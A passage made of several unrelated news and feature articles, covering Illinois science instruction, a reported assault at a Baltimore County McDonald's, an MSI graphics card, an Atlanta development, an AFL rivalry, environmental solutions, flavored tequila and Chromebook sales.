incorporating the new standards in their instruction.  Next Generation Science Standards move away from memorizing science facts and toward analysis in key areas of science and engineering.  "One of the good things is that NGSS has really lit a fire in the science community," Baker said. "Most schools, most teachers, are working hard to implement NGSS — not because they have to, but because they want to. It is good instructional practice. It is good teaching and learning."  The state board of education keeps track of how much instruction time is spent in math, English, science and social sciences in grades 3, 6 and 8, and statewide data in 2016 show science instruction minutes on average rose to the highest in 15 years.  Third grade instruction in science rose to to an average of 34 minutes per day; 6th grade minutes went up to 48, and 8th grade minutes to 50. Science has usually trailed math and English in terms of instruction minutes, and has been about equal to minutes spent on social sciences.  Chicago Public School's McAuliffe Elementary School in 2016 had the highest number of instruction minutes in science in the Chicago area and the second most in the state. In 3rd, 6th and 8th grades, students at McAuliffe averaged 100 minutes of science instruction per day. That's double to triple the state averages.  The largely Hispanic school in the Logan Square and Hermosa neighborhoods focuses on science, technology, engineering, math and and the arts, and is named after teacher Sharon Christa McAuliffe, who died along with six other crew members in the Space Shuttle Challenger disaster in 1986.  McAuliffe Principal Ryan Belville said while the school has not received state exam science scores, it does do local science testing to measure students' progress in the subject, and teachers have incorporated the new science standards into the curriculum.  Last week, 5th graders in teacher Georgia Siannas' midmorning science class did hands-on work in establishing how leaves lose their green hue and turn into different colors in the fall.  "I'm a facilitator. I'll provide an example, but the rest is up to them," said Siannas, who walked through the classroom watching groups of students working together.  The current Illinois Science Assessment was put together by using test questions from the Washington, D.C., school district, a process that was not ideal because Illinois was under pressure from the federal government to give a science exam in 2016 after missing the science test in 2015. "ISBE created the ISA under significant budget constraints," Matthews said.  In addition, Baker said some high school administrators were not happy with the biology-related state science exam for a variety reasons, including that other key science areas were not tested, such as chemistry and physics.  "Despite our successes, we know we have room to improve and are committed to continuing to listen to the field to make each administration of ISA smoother," Matthews said.
-A Baltimore County McDonald's owner announced on Saturday afternoon that an employee who taped the violent beating of a customer — a video that went viral Friday — had been fired.  "My first and foremost concern is with the victim," franchise owner Mitchell McPherson said in a statement, adding that action might be taken against other restaurant workers as well. "I'm as shocked and disturbed by this assault as anyone would be. The behavior displayed in the video is unfathomable and reprehensible."  The video of a beating the Rosedale restaurant went viral Friday, garnering hundreds of thousands of views on websites and prompting the fast-food giant to issue a statement condemning the incident.  The video shows two women — one of them a 14-year-old girl — repeatedly kicking and punching the 22-year-old victim in the head, as an employee and a patron try to intervene. Others can be heard laughing, and men are seen standing idly by.  Toward the end of the video, one of the suspects lands a punishing blow to the victim's head, and she appears to have a seizure. A man's voice tells the women to run because police are coming.  The three-minute clip was apparently first posted on YouTube, then taken down by administrators who said it violated the site's policies. But it popped back up on other sites and was ultimately linked from the popular Drudge Report, which gave it top billing for much of the day.  County police confirmed that the attack occurred April 18 in the 6300 block of Kenwood Ave. Police said the 14-year-old girl has been charged as a juvenile, while charges were pending against an 18-year-old woman.  Equality Maryland said the victim is a transgender woman and called on state Attorney General Douglas F. Gansler to step in and investigate the case as a hate crime. Police and prosecutors said they did not know whether the victim is a transgender woman.  "It does appear that the victim was a transgender woman, and she was brutalized while people stood by and watched," said Lisa Polyak, vice president of the board of directors for Equality Maryland, an advocacy organization that fought unsuccessfully in the past legislative session for greater protections for transgender individuals. "There's no excuse for that violence under any circumstances, but we would encourage police to investigate as a hate crime."  The police report does not provide a motive, but quotes one of the suspects saying that the fight was "over using a bathroom."  The victim suffered cuts to her mouth and face, and a police report said she had been taken to Franklin Square Hospital Center in fair condition. Police said Friday they had no update on her status.  The video begins with two women near a bathroom door kicking and hitting a woman who is lying on the ground.  An employee repeatedly tries to separate them, but the attackers continue to stomp and kick the victim's head. People yell, "Stop! Stop!" to no avail, though others can be heard laughing. An older woman at one point also attempts to pull the attackers away and is shoved.  About halfway through the three-minute clip, the attackers rip a wig off the victim and drag her by her hair to the front door. That is where the victim is sitting before another blow to the head causes an apparent seizure.  Throughout the attack, a man is filming and does not intervene. But when the victim appears to have a seizure, he yells, "She having a seizure, yo. … Police on their way. Y'all better get out of here."  jill.rosen@baltsun.com  justin.fenton@baltsun.com
-GPU: Hawaii XT  R9 290X GAMING 8G Clock speeds: 1040 MHz (OC Mode)  Memory size / Speed: 8096 MB / 5500 MHz  Connectivity: DisplayPort / HDMI / 2x DL-DVI-D  Card Dimensions: 276x127x39 mm  Afterburner OC support: GPU / VDDCI Overvoltage  Power connectors: 1x 8-pin, 1x 6-pin PCI Express  MSI is proud to announce the availability of the new R9 290X GAMING 8G graphics card. Packed with 8 Gigabyte GDDR5 memory operating at 5500MHz and all the extra features stuffed with it, the new 290X GAMING 8G is sure to drive UltraHD gaming resolutions without any problem. The MSI Twin Frozr IV Advanced ensures your card runs cool so you can enjoy maximum performance while AMD's PowerTune technology enables the R9 290X GAMING 8G to run at highest clock speeds.With support for the latest industry standards and thrilling new technology such as Mantle support in Battlefield 4. Thanks to the bundled MSI GAMING App gamers can quickly switch between three pre-sets including a silent mode optimized for power efficiency and an overclocking and OC Mode to get the most power out of your graphics card, without worrying about learning how to overclock. The R9 290X GAMING 8G has been designed to give you a fluid and silent gaming experience that delivers you true next-gen performance for 4K UHD resolutions and up, without sacrificing on thermals or noise.The MSI Twin Frozr IV Advanced has been completely customized for the R9 290X GAMING 8G graphics cards to deliver the best thermal experience. The design uses a larger copper base for heat absorption and the heat pipes are in contact with a bigger part of the heat sink and exposed to more airflow to ensure the highest performance of the GPU because of optimal temperatures. Combined with the dual form-in-one heat sinks that add both cooling ability and structural reinforcement the R9 290X GAMING 8G stays cool, quiet and safe.The new R9 290X GAMING 8G is packed with features that benefit every gamer. AMD TrueAudio technology allows far more realistic positional audio and the added benefit of surround sound over connected displays. Mantle allows game developers to directly speak to the GPU optimizing GPU performance. This can all be displayed in a glorious UltraHD / 4K resolution and even up as the new R9 290X GAMING 8G is offering unmatched performance at 4K resolutions. This can be easily connected through the DVI, HDMI and DisplayPort connectors. Up to six dedicated displays can be connected to the R9 290X GAMING 8G for an amazing Eyefinity experience.R9 290X GAMING 8G Technical specifications
-Fuqua Development has unveiled tentative plans for a major mixed-use development wedged against Memorial Drive and the Beltline corridor.  A new marketing flyer released by the controversial developer elaborates on his planned project in Reynoldstown, which includes more than 100,000 square feet of retail and restaurant space — including (potentially) a CineBistro and Sprouts — plus 120,000 square feet of offices, 600 apartments, and 100 condos.  Fuqua purchased the site at 905 Memorial Drive last year, which didn't thrill a lot of folks, given the developer's penchant for big-box projects. Fuqua's planned overhaul will replace a warehouse facility butted up against Interstate 20.  According to this rendering, which might not represent the latest version of Fuqua's plans, retail spaces would front the Beltline, helping to tie the development to the trail and neighborhood. The project, however, would still be dominated by parking lots and have a distinctly suburban bent. What Now Atlanta reports that these plans might have been altered already due to neighborhood ire.
-Fierce competitors: Matthew Lloyd evades North Melbourne's Mick Martyn. Credit:Pat Scala But Denis Pagan, who coached the Kangaroos from 1993 to 2002, recalls the genesis of the modern rivalry being the 1998 season, when his legendary Essendon counterpart Kevin Sheedy accused North officials Greg Miller and Mark Dawson of being soft as marshmallows. The marshmallow saga culminated with fans hurling pink and white marshmallows at Sheedy following North's 22-point win over the Bombers in the 1998 qualifying final. "Kevin was the master at playing all those things up," Pagan said. "It's one of the most vivid memories I've got of footy. He was sort of walking 10 feet in from the boundary line, but people were pelting him with marshmallows everywhere." Sheedy has a cheeky take on the "marshmallow" game. "When it was all said and done, North Melbourne had the better side and I was just trying to get Denis a better crowd ... because North Melbourne don't know how to sell footy, but they can play."  Wayne Carey in 1999. Credit:Sebastian Costanzo While the master coaches look back on that period with good humour, it was a different story for the players at the time. Between 1995 and 1998, the Kangas beat Essendon on five out of six occasions and former Essendon champion Matthew Lloyd said a big reason was North's ability to intimidate the Bombers. Lloyd recalls a genuine hatred. "It started something," Lloyd said of the marshmallow final. "Sheeds had the old tricks where he'd have all the [newspaper] tipsters up on the wall saying nobody rates us and it's about time we stood up to these blokes. He had you wanting to run through brick walls, more so against North Melbourne than turning up to play Fremantle or Port Adelaide at the MCG, he loved games like that.  "Obviously Carlton, Collingwood and Richmond were always big but through that period North Melbourne might not have filled a stadium like those other games, but the hatred the two clubs had for each other was as strong as any. "[They had] established players like [Wayne] Carey, [Glenn] Archer, Anthony Stevens, Micky Martyn, Martin Pike, they were a very mature side and we probably were out of our weight division but by the '99 season ... we thought enough's enough." Essendon finally turned the tables in 1999 and proceeded to beat North six times in a row. "It was amazing, it was like we had grown up overnight pretty much to the point where we went from idolising guys like Carey and Archer and Stevens to just wanting to beat them up, in a sense," Lloyd said. However, they famously squandered their chance to frank their claims as the best team in 1999 when they lost to Carlton by one point in the preliminary final, and seeing the Kangaroos hoist the premiership cup aloft a week later only served to intensify their bitterness towards the men from Arden Street.  "We thought by the end of that year we were the best side in it. Obviously we let ourselves down in the prelim and I think that probably ramped up a gear for our venom towards North," Lloyd said. "We came up against each other in the 2000 Ansett Cup grand final at the MCG and I remember Jason Johnson early on knocking out John Blakey with a big hip-and-shoulder, I stood up to Micky Martyn probably for the first time in my life. "We belted them, we just belted them in that grand final and I think from that point on I thought we had the wood on them." The Bombers stormed to their 16th premiership later that year but Essendon and North were denied their Ali-Foreman moment and didn't meet in a grand final during that period. Instead, the clubs produced two of the greatest games staged at the MCG in round 17, 1999 and round 16, 2001. The first of those encounters saw North Melbourne legend Wayne Carey boot 10 goals at one end and the emerging Lloyd seven at the other in a shootout for the ages, which the Bombers won by 26 points.  The second one saw Essendon record the greatest comeback in league history as they recovered from a 69-point deficit to win by 12 points 27.9 (171) to 25.9 (159), in a game that not only produced the equal-most goals in history (52) but also the seventh-most points (330). Pagan's memories of the first encounter centre around Carey. "That Wayne Carey banana kick on his left foot," Pagan responded when asked what his memories were of that famous game in 1999. "That was probably the best goal I've seen him kick, he kicked a lot of good goals and I don't remember them all but that one sticks in my mind." And Lloyd believes he kicked close to the best goal of his career in that same game, when he ran on to a loose ball in the City End pocket and, from mid-air on a tight angle, soccered through at almost post height. "In the context of how big the game was and how far out it was, to soccer one out of midair with a bit of pressure coming from behind, it would have to be right up there," Lloyd said. Looking back on his personal shootout with Carey, Lloyd said there were shades of the famous day in 1993 when Gary Ablett snr (14) and Paul Salmon (10) booted 24 goals between them in a Geelong-Essendon match – "two guys right on top of their game having a bit of a shootout".
-Seven billion people and growing. A quarter of them living in poverty. Unsustainable — and unequal — resource use. Landscapes vanishing, along with their nonhuman inhabitants. Global warming upending natural systems. These are tough times on planet Earth. But while sustainability remains far from a global edict, hopeful signs of progress are poking up around the world. In some places, in some cases, we are doing things right, taking steady steps toward a smarter future. Here we offer seven of them — seven concrete answers to seven of the most pressing and vexing environmental dilemmas of the 21st century. None is perfect. But each elegant effort attests to the fact that effective and relatively simple solutions are already within our reach. The main missing ingredient is one that’s seemingly scarce but in fact unlimited, and which we’ll need to gather and harness in order to change course and stay that way: resolve.  1: Great Barrier Reef  Challenge: Ocean fisheries collapse  Opportunity: Marine Protected areas  Across the planet’s oceans, more than 70 percent of fish species are either over­harvested or at the very brink of what their populations can tolerate. A groundbreaking 2006 study painted a grim picture: At current rates, every seafood fishery on the planet will collapse by mid-century. We are drastically altering ocean ecosystems — and at the same time threatening the food security of 200 million people.  One solution is proving successful everywhere it’s employed: the no-take reserve, whose biggest story comes from Australia.  The Great Barrier Reef is home to an almost incomprehensible number of species. There are 1,500 types of fish, 400 kinds of coral, 5,000 varieties of mollusk and 500 different species of seaweed. But despite the fact that the area — all 214,000 square miles of it — has been a designated marine park since the 1970s, its biodiversity was under threat until not long ago. The marine park is a multiuse area, with activities ranging from diving to commercial fishing permitted in some parts. In fact, until 2010, fishing was totally banned in less than 5 percent of the park.  Recognizing that more needed to be done, the Australian government convened a panel of scientists who recommended expanding the Great Barrier Reef Marine Park’s no-take areas. Today, fishing is banned in one-third of the park. And evidence of success is rolling in. The thriving Great Barrier Reef, with its sightseers, snorkelers, divers and fishers, now generates nearly 54,000 full-time jobs and $5.4 billion per year, with tourism providing roughly 36 times more revenue than commercial fishing. Having fish alive in the water, it turns out, is highly profitable.  What’s more, research published in May 2012 shows that the benefits of no-take areas spill beyond their invisible borders. Using ge­netic techniques, scientists studied the origins of coral trout and stripey snapper, two species of commercial fish in a 1,000-square-kilometer area around the Great Barrier Reef. Twenty-eight percent of the area was protected in no-take zones, but half of all the fish were hatched in those reserves.  Around the world, no-take reserves are show­ing similar results. Off the Mediterranean coast of Spain, a no-take area just 1 square kilometer in area has created 200 full-time jobs and generates €10 million per year in tourism revenue — 20 times the revenue from fishing. Elsewhere in Spain, in an area famous for its giant lobsters, the no-take zone of the Columbretes marine reserve is enabling lobsters to grow even bigger.  Just 1 per­cent of the ocean is within the boundaries of a marine protected area, and only a fraction of those areas are no-take reserves.  Each year lobsters migrate out of the no-take area to nearby fishing grounds, where the local fishermen are now catching larger lobsters that command a greater price. In Kenya and the Solomon Islands, the income of locals fishing the areas surrounding no-take reserves is twice that of fishermen elsewhere.  Given all this, you’d expect no-take reserves to be sprouting up everywhere. Yet just 1 per­cent of the ocean is within the boundaries of a marine protected area, and only a fraction of those areas are no-take reserves. The reasons are twofold, says Enric Sala, a marine ecologist and explorer-in-residence at the National Geographic Society in Washington, D.C.  The first is lack of awareness. “Most people don’t know what the benefits are,” Sala says. “The first reaction from fishermen is, you want to kick us out of the sea and prohibit fishing everywhere. But once the reserves are created and they work, fishermen tend to like them a lot.”  The second is a stifling policy structure that in many countries allows only governments to create — and fund — reserves. “If local communi­ties in coastal areas were empowered to create their own reserves and manage them,” says Sala, “then we’d be able to scale up for sure.” Sala is working to create the first privately funded marine reserves, investment opportu­nities that will both create jobs and generate profits. Projects in the Philippines, Turkey and Timor-Leste begin next year.  2: Germany’s Energiewende  Challenge: Greenhouse gas emissions  Opportunity: Boosting renewables  Perhaps no environmental problem is more complex, fraught and fundamental than how to drastically decrease greenhouse gas emissions. If we can’t solve this dilemma, all the others may well turn out to be moot. But international progress is maddeningly slow — and here in the U.S., change still feels decades away.  Not so in Germany. The world’s fourth-largest economy and Europe’s stern nanny during the continent’s unfolding economic crisis, Germany is poised to show us all how to switch to renew­ables. Having vowed to shut down its nuclear power plants by 2022, the country has a decade in which to demonstrate how it will generate 35 percent of its electricity (18 percent of its total energy) from renewables.  This being Germany, there’s a word for all of that: Energiewende, or energy transition. “It’s an enormous opportunity, a catalyst moment,” says Arne Jungjohann, program director for the environment at the Heinrich Böll Foundation, a think tank affiliated with the Green Party. “It means that Germany has been serious and has a broad consensus to go to renewables.”  Despite that consensus, the central govern­ment has yet to issue a road map. (“There is no such thing as a master plan in some drawer in Merkel’s desk,” is how one German journalist recently put it.) So for now, the public is stepping up — something that’s possible in part thanks to the certainty of Energiewende, as well as years of demonstrated commitment to renewables in the form of feed-in tariffs.  In Germany, half of all wind projects are community owned, by small-scale investors and farmers — people, says Jungjohann, who “invest their money in a wind park instead of in the bank.”“Today, you see windmills across the country, blue shining solar arrays on rooftops and town halls,” says Jungjohann. “More than 100 villages and communities have set targets to go com­pletely renewable.” Through energy cooperatives in which the buy-in is as low as a few hundred euros, whole villages can invest in a wind park or an anaerobic digester (which makes natural gas from organic waste).  One striking difference between Germany and the U.S. is just who invests in clean energy technology. In the United States it’s mostly banks, corporations and hedge funds — outside investors that find ideal locations for wind or solar, try to convince the local community and end up with a NIMBY problem. To wit: Only about 2 percent of all U.S. installed wind ca­pacity is community owned. But in Germany, half of all wind projects are community owned, by small-scale investors and farmers — people, says Jungjohann, who “invest their money in a wind park instead of in the bank.” Thanks to a combination of tax policy and guaranteed grid access — investors don’t have to negotiate to deliver their power to the grid, unlike in the U.S. — renewables can be a solid investment, at least on paper.  3: Brazilian Rain Forests  Challenge: Rain forest loss  Opportunity: Policy and pressure  Each year, we burn and bulldoze approxi­mately 50,000 square miles of rain for­est — disrupting ecosystems, pushing wildlife toward extinction and sending vast stores of carbon dioxide into the air.  In Brazil, though, a decade of smart gover­nance has slowed the rate of Amazon deforesta­tion by 67 percent below its average from 1996 to 2005 through a combination of good policies, beefed-up enforcement and a little help from the market.  Previously, ranchers and farmers looking to expand their holdings would move into the forest illegally, occupy the land and eventually manage to legalize their claim (and often sell it off). But from 2003 until 2009, state and federal governments in Brazil created more than 270,000 square miles of new reserves near agricultural frontiers—an area larger than France. By designating new protected areas at the edges of farmland — rather than deep in the forest — the government all but abolished the allure of encroachment.  For a rancher, it’s not worth the investment to start cutting down the forest, says Steve Schwartzman, director of tropical forest policy at the Environmental Defense Fund, “because your likelihood of ever getting title to the land has gone way down.”  Daniel Nepstad, executive director of IPAM, the Amazon Environmental Research Institute, agrees. The expansion of protected areas, he says, “knocked the wind out of the land speculation market, which is a very important driving force behind deforestation.”  The Brazilian government also began calling out communities with the highest deforesta­tion rates, cutting them off from government credit until they reformed. And it stepped up enforcement of land use laws, jailing hundreds of people for illegal logging and confiscating their machinery and timber.  Government actions alone don’t account for all of the slowdown in forest destruction. A drop in commodity prices — for both soy and beef — during the mid-2000s helped. And pressure from environmental groups, particularly Greenpeace, created a market rejection of deforestation in the form of an international backlash against Amazon soy and beef. Consumers “sent a mes­sage to farmers, saying, ‘If you’re clearing forests, we may not want your product,’” Nepstad says.  Today, however, the story is changing. A long and convoluted battle to change the country’s forest code — propelled by strong beef and soy lobbies — has put the future fate of Brazil’s forests at risk. The law, which contains hundreds of complicated amendments, may ultimately bog the country down in unclear and unenforceable rules that undermine the country’s decade of rain forest progress.  4: City of Vancouver  Challenge: Unsustainable Urban Expansion  Opportunity: Comprehensive Planning  More than half the world’s population currently lives in cities; by the middle of this century, that figure could hit 75 percent. Cities are responsible for two-thirds of human energy use and 70 percent of our greenhouse gas emissions, consume vast quanti­ties of water, and produce enormous amounts of waste — all on just 2 percent of the world’s surface area.  How we design, build and live in our cities will have an outsized impact on the planet’s future. But many cities appear blind to this, lumbering forward on outdated building codes, leaking infrastructure and archaic, car-centered layouts.  And then there’s Vancouver. Through its Greenest City 2020 initiative, the Canadian metropolis has developed a 10-point plan to tackle everything from jobs and investment to buildings, transportation, waste and even food — all to emerge as the world’s most sus­tainable city.  A decade ago Vancouver vowed to meet Kyoto Protocol greenhouse gas emission standards city­wide, and to exceed them by 20 percent within the government. Later, city leaders decided to reduce emissions 80 percent by 2050. And then they asked a radical question: “If we want to be the greenest city in the world, what do we need to do?” recalls David Cadman, a former Vancouver city council member who helped conceive the green blueprint and is now president of ICLEI Local Governments for Sustainability.  Borrowing ideas and technology from cities the world over, Vancouver began designing itself a smart future. Cadman proposed heating the Vancouver Olympic Village by tapping waste heat emitted from sewage pipes, and at first the city’s Today, residents make 40 percent of their trips in the city on foot, bike or public transportation.engineer balked. “I said, ‘Here’s the business card of an engineer in Switzerland, where they’ve been doing this for years,’” Cadman recalls. “So he called the guy.” The technology, which involves wrapping sewage pipe with a coil that collects the heat, debuted at the Olympics and now sup­plies 70 percent of the annual energy demand in Southeast False Creek, the neighborhood that encompasses the village. The program, known as a Neighborhood Energy Utility, has already lowered local greenhouse emissions from build­ings by 74 percent (surpassing expectations of a 62 percent average annual reduction).  Elsewhere in the city, sustainable develop­ment is taking shape. Vancouver updated its mass transit to accommodate bicycles and built urban bike lanes that are physically separate from the streets. Today, residents make 40 percent of their trips in the city on foot, bike or public transportation (the goal is two-thirds of all trips by 2040). To help conserve water, the city now requires water meters on all new residential water services. And Vancouver has adopted the greenest building code in North America.  Every city is unique, of course, and not ev­erything that works in Vancouver makes sense elsewhere. As a city already lauded for its quality of life, Vancouver could afford to set strict poli­cies for developers. But the central ideas behind Greenest City are replicable in a broad sense: The way forward is a combination of creativ­ity, smart policy and will. Vancouver’s efforts show that cities can thrive (the greater region of 2.3 million people is growing at 5 percent per year) while using fewer, not more, resources.  5: Bridges & Bicycles in India  Challenge: Population Growth  Opportunity: Improving education for girls  As world population careens toward 9 billion, all the planet’s systems will be strained. Lowering fertility rates is a complex endeavor, and no one path leads directly there. Poverty, access to contraception, education, job prospects, cultural mores — all of these influence family size. So addressing any of them, or a combination, can help. Solutions abound, at least on a relatively small scale, such as conservation programs that include family planning components.  But the most promising opportunities may lie in promoting girls’ education. Study after study throughout the years has found the same thing: Across every culture, women with higher levels of education have, on average, fewer children. (Girls’ education is also correlated with higher individual and national income levels.) One recent analysis by the International Institute for Population Sciences in Mumbai, India, found that the relationship between education and fertility is mutual. Increased education is fol­lowed by decreased fertility — but women who have fewer children are also more likely to receive more education.  India is home to several innovative efforts. In Uttar Pradesh and Orissa, two states with massive gaps in gender inequality, CARE India runs “bridge” schools, residential programs that give girls who have had little or no schooling a chance to catch up. In one district where the literacy rate for girls was near zero, the non-governmental organization started its first Udaan (which means “flight”) 12 years ago. The school took in 100 students for 11 months in a round-the-clock program that not only taught them basic elementary school coursework but also focused on life skills — everything from leadership to cycling.  A recent “right to education” law makes education a fundamen­tal right for children age 6 to 14, who are now entitled to free schooling.Gradually but steadily, the age at which the girls married increased, says Suman Sachdeva, technical director for education at CARE India, “so you now rarely see these girls get married before 18.”  CARE currently operates four Udaan schools in India, and the concept is spreading to other NGOs and even the government. A recent “right to education” law makes education a fundamen­tal right for children age 6 to 14, who are now entitled to free schooling.  But what happens to those kids — many of them female — who are suddenly eligible for school but are now years behind? Sachdeva hopes the bridge school idea will help solve the problem and ensure that more girls can pursue an education.  Elsewhere in India, in 2007 the chief minister of Bihar state began giving schoolgirls vouchers to buy bicycles. Preliminary research shows the program has significantly increased the number of girls staying in school.  6: Tree Regeneration in Niger  Challenge: Unsustainable agriculture  Opportunity: Regenerating native trees  Farming in Africa’s drylands was tough enough before climate change and sky­rocketing populations piled on extra problems. Today, smallholder farmers across Africa, but particularly in the Sahel, face pressure to feed their families on land with depleted soils, erratic rainfall and encroaching sand. In years to come, these farmers will need to produce more food on existing land, even as weather conditions grow more precarious.  Chris Reij has spent more than three decades working on sustainable agriculture in Africa, and his years of experience point to a solution that’s so low-tech and inexpensive it’s been overlooked by large aid agencies. Reij, sustainable land man­agement specialist at the Centre for International Cooperation, oversees an effort called Africa Re-greening Initiatives. Re-greening means allowing native trees to grow back on farmland, and then tending, pruning and managing them for maximum return.  Trees provide an almost unbelievable number of benefits: They block wind, lower microcli­mate temperatures, reduce evapo­ration, fix nitrogen, provide live­stock fodder and increase organic nutrients in the soil. They also gen­erate edible fruits and leaves and produce firewood. Twenty years ago, says Reij, women in parts of Niger spent two-and-a-half hours each day collecting firewood; now they spend half an hour.  “It’s not the silver bullet, but it is at least a big piece of shrapnel,” Reij says.  Agroforestry isn’t new; African farmers grew crops alongside trees for centuries. But a severe drought in the 1970s forced farmers in Niger to cultivate extra land to offset declining crop yields. To expand they cut down trees, which only made things worse.  Starting in the 1980s, though — spurred on by a missionary — some farmers began encouraging trees to regrow from seeds stored in the soil. Reij’s initiative helps spread the message and the knowledge from village to village. Today he estimates that 5 million hectares in Niger have been re-greened. The effort has also spread to Mali, Burkina Faso, Ethiopia and elsewhere across the continent.  Low-tech, low-cost solutions can spur other changes in the ongoing search for solutions to Earth’s greatest environmental challenges.Although Niger, which was hard hit by drought and pests last year, has an overall deficit of cereal crops (up to 600,000 tons), one study found that in a district with a high incidence of on-farm trees, there was a cereal surplus of 14,000 tons.  There is no one solution to the problem of sustainable food production across the vast and varied continent of Africa. (The Polish journalist Ryszard Kapuscinski once wrote, “Only with the greatest simplification, for the sake of con­venience, can we say ‘Africa.’”) But Reij’s farmer-managed re-greening does suggest some broad lessons: “Barefoot” science can be as important as the latest science. People are most likely to stick with an innovation if it yields rapid results. And low-tech, low-cost solutions can spur other changes in the ongoing search for solutions to Earth’s greatest environmental challenges.  7: Water Funds in Latin America  Challenge: Freshwater depletion/deterioration  Opportunity: Payments for ecosystem service  We may live on the blue planet, but 97 percent of that liquid is of the salted variety. And of the planet’s freshwater, just 1 percent is “readily accessible for direct human uses,” according to the Stockholm International Water Institute. Clean water is an increasingly scarce commodity, particularly in the developing world — where 90 percent of the additional 3 billion people who will inhabit the Earth by midcentury will live.  Water scarcity has many causes, from drought to inefficient infrastructure to poor (or no) sanita­tion to politics. Often the root of the problem is ecological: destruction of forests that help preserve clean water at its source, or farming practices that wash toxins into rivers and streams.  “I’ve seen places where cows are walking down steep sandy banks, causing local land­slides,” says Heather Tallis, lead scientist at the Stanford University–based Natural Capital Project. “So just keeping cows out of the river can make a difference.”  One way to keep cows out of rivers — and to protect the ecosystems that protect freshwater supplies — is to value clean water as a resource and pay to safeguard its source. New York City did this when it bought and conserved land in the Catskills, where its drinking water originates. But buying up land isn’t the only option: Water users can pay upstream landowners to change how they use the land. For more than a decade, The Nature Conservancy has been attempting this by creating water funds across Latin America. Today, there are 35 funds either operating or in development from central Mexico to central Chile, and another 13 under consideration.  The idea is fairly simple: Water users — a hydroelectric power provider, an urban water util­ity, a brewery — pay into a fund and then spend that money to improve the watershed. Funds may pay farmers to change agricultural practices (reduce fertilizer use, fence cattle), pay guards to prevent ranchers from encroaching onto reserves or simply pay landowners to restore or preserve vegetation. Funds can focus on improving water supplies or water quality, or reducing risk from floods or landslides. In theory, the funds both protect vital water resources and also use the value of clean water to bankroll conservation.  The first fund, in Quito, Ecuador, was estab­lished 11 years ago. Little analysis has been done to monitor the effectiveness of the funds launched since then. Yet anecdotal evidence has been strong enough to entice a coalition of partners, including the World Bank, the Inter-American Development Bank and a Coca-Cola bottler, to join forces with TNC in the Latin America Water Funds Partnership, which will standardize the funds and intro-duce scientific monitoring. The idea is also spreading beyond the Americas: Kenya and Mongolia may be next in line.  This feature originally appeared in the Fall 2012 issue of Momentum, Ensia’s predecessor.
-The key to a really good tequila is a pepper finish – not a burn, but a little hint of the spice.  But increasingly, tequila-based beverages are introducing new flavor profiles to challenge that formula. In recent years, producers like Patrón, Sauza, and Avión have created tequila liqueurs with flavors like mango, cocoa, and cucumber, expanding a subcategory that could propel the category to new heights. It also hints at a tasty revolution that’s already swept across the vodka category and is currently driving demand for American whiskeys.  Since 2012, Patrón has launched four new tequila liqueurs, including dark cocoa and lime variations. Beam Suntory’s Sauza, which two years ago began to experiment with sparkling margaritas, this summer debuted a cucumber chili tequila. And Pernod Ricard-backed Avión has an espresso variation that founder and chairman Ken Austin didn’t even originally want to make, but which was created to be agave-forward (to ensure the tequila taste remains strong).  Austin calls Avión Espresso the gateway to the brand: “If someone pays $25 for a bottle of Avión Espresso and they say, ‘It is amazing,’ they will be more likely to buy the pricier variations.”  The experimentation comes at a time when the tequila industry already generates $2.1 billion in supplier revenue in the U.S. alone. Among spirits brands, tequila’s growth has recently exceeded the performance of the vodka, rum, and gin categories. Much of that growth has come from higher-priced spirits, which generate better margins and are the core focus for many spirits makers. That trend was recently chronicled in a Fortune feature, “Sipping pretty: Tequila’s global ambitions.”  Debuting tequila flavors can be a less lucrative business strategy, however. Price points are often lower as the liqueurs are made with lower alcohol by volume. But it is hard to ignore the power of the flavor revolution: Roughly one out of every 10 spirits sold in the U.S. are flavored, according to the Distilled Spirits Council of the United States, known as Discus.  Flavors are part of why the whiskey category is performing so well, according to Discus. They help introduce the beverage to new drinkers and often attract more women to a category that has traditionally been male-driven, experts say. The industry sold 2.8 million cases of flavored whiskey in 2014, as honey-based whiskeys and newer cinnamon concoctions flew off shelves.  But too much tinkering can leave a bad aftertaste. For years vodka producers relied on flavored spirits to help bolster the category. Many beverage experts say they got a little too experimental, launching variations like cotton candy, birthday cake, and even a bacon vodka. Consumers have been turned off: Flavored vodkas actually shed volume in 2014.  Tequila makers say they are learning from vodka’s missteps, promising not to stray too far from the natural flavor that comes from the blue agave plant that is the base of all tequilas.  “A lot of brands introduce flavors as a way to treat the symptoms rather than the disease,” says Patrón chief marketing officer Lee Applbaum. “You get a short-term bump in volume but not a long term opportunity.”  Applbaum says Patrón has been more purposeful about how it tackles tequila liqueur experimentation. Patrón introduced two flavored tequilas in 1992, but it took another 20 years before the spirits company launched another variation. Some of Patrón’s liqueurs are meant to be consumed in the form of a shot, or as a mixer for a cocktail.  At Beam Suntory, Claire Richards, senior director of tequilas, says her company focuses on those two “occasions” when it thinks of flavors.  “It is important to us that we use flavors that help with the naturally agave-forward liquid,” Richards says. “We won’t go out and innovate on flavors that don’t fit into that profile.”
-Linux's founder, Linus Torvalds wonders if "we may have to "finally lay the 'year of the Linux desktop' joke to rest." Why? Because, for the first time Chromebook outsold Macs.  CNET  Based on how Chromebook sales keep going up, while Mac sales keep going down, Chromebooks will probably always outsell Macs from here on out. So, with Chromebooks as now the number two "desktop" device, Windows PCs may have something to worry about too.  I thought from the start that Chromebooks would prove a real challenge to Windows PCs. Unlike any other Windows alternatives, Chromebooks don't require any learning curve. If you can use a browser, you can use a Chromebook. With the transformation of desktop applications to cloud apps, lower prices, and better security, Chromebooks have always had several built-in advantages over Windows.  Of course Windows had its advantages too. It's the legacy operating system that over 90 percent of people use and it has far more local applications than any other desktop OS. Well, it did anyway.  I see a real challenge ahead for Windows now that, after years of development, Google is bringing the majority of its Android applications to Chrome OS. Soon, Chrome OS will have just as many applications, if not more, than Windows.  Indeed, one of the other reasons people have stuck with Windows is they can't run their favorite applications on any other operating system. Microsoft, however, has also been moving away from standalone applications.  It's made it possible, for example, to run Office 365 on Android. On a tablet or smartphone, that was a neat trick, but people weren't flocking to write documents and spreadsheets on their phones. On a Chromebook though... that's another matter entirely.  In addition, people have also long complained that they can't play games without Windows. Well, I think we all know that there are tens-of-thousands of Android games. So, whether you use your laptop for business or games, this marriage of Android apps and the Chromebook format is going to make Chromebooks much more attractive.  The only Android apps and features that won't work are those that specifically require hardware features -- such as GPS -- that Chromebooks don't include, said Kan Liu, Google's Chrome OS Director of Product Management. "We will fully support all Android apps, subject to the hardware requirements these apps have," said Liu.  At first only higher-end Chromebooks with touchscreens, such as the Pixel 2, will support Android apps. But, Liu promises that Android apps will eventually run on Chromebooks without touchscreens as well.  So, Chromebooks will not start displacing Windows PCs immediately. They will, however, continue to push Macs into third place and give Windows a real desktop 